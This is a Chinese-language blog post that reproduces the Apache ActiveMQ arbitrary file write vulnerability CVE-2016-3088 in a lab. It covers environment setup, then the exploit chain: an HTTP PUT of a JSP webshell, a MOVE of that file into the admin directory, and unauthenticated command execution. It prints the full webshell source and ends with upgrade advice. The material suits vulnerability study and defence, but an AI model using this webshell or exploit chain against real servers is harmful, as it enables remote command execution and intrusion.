Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

Zh1z3ven 發表於 2020-09-22

Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

一、漏洞描述

該漏洞出現在fileserver應用中,漏洞原理:ActiveMQ中的fileserver服務允許使用者通過HTTP PUT方法上傳檔案到指定目錄。Fileserver支援寫入檔案(不解析jsp),但是支援移動檔案(Move)我們可以將jsp的檔案PUT到Fileserver下,然後再通過Move指令移動到可執行目錄下訪問。

二、漏洞影響版本

Apache ActiveMQ 5.0.0 - 5.13.2

三、漏洞環境搭建

1、官網下載apache-activemq-5.7.0-bin.tar 下載地址:http://activemq.apache.org/download-archives.html

2、解壓 

3、啟動,進入bin目錄下,執行./activemq start

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

4、瀏覽器訪問http://192.168.10.149:8161/,如下圖可以看到成功搭建環境

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

四、漏洞復現

1、PUT上傳一個jsp的webshell到fileserver目錄,下圖可以看到成功上傳jsp檔案

Jsp檔案內容:

<%@ page import="java.io.*"%>

<%

 out.print("Hello</br>");

 String strcmd=request.getParameter("cmd");

 String line=null;

 Process p=Runtime.getRuntime().exec(strcmd);

 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 

 while((line=br.readLine())!=null){

  out.print(line+"</br>");

 }

%>

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

2、瀏覽器訪問http://192.168.10.149:8161/fileserver/1.jsp,下圖可以看到fileserver目錄下的webshell沒有被解析,說明fileserver目錄沒有執行許可權

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

3、利用該版本存在物理路徑洩露漏洞,爆一下絕對路徑

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

4、利用Move方法將webshell移入admin目錄下,如下圖所示成功把檔案移入到admin目錄

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

5、利用該版本存在的未授權訪問漏洞,不用登入,訪問http://192.168.10.149:8161/admin/1.jsp?cmd=ls,下圖可以看到成功執行命令

  Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現

五、漏洞防禦

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以後的版本中已被移除。建議使用者升級至 5.14.0 及其以後版本。

 

 ---------------------------------------------------------------------------------

參考: https://www.secpulse.com/archives/60064.html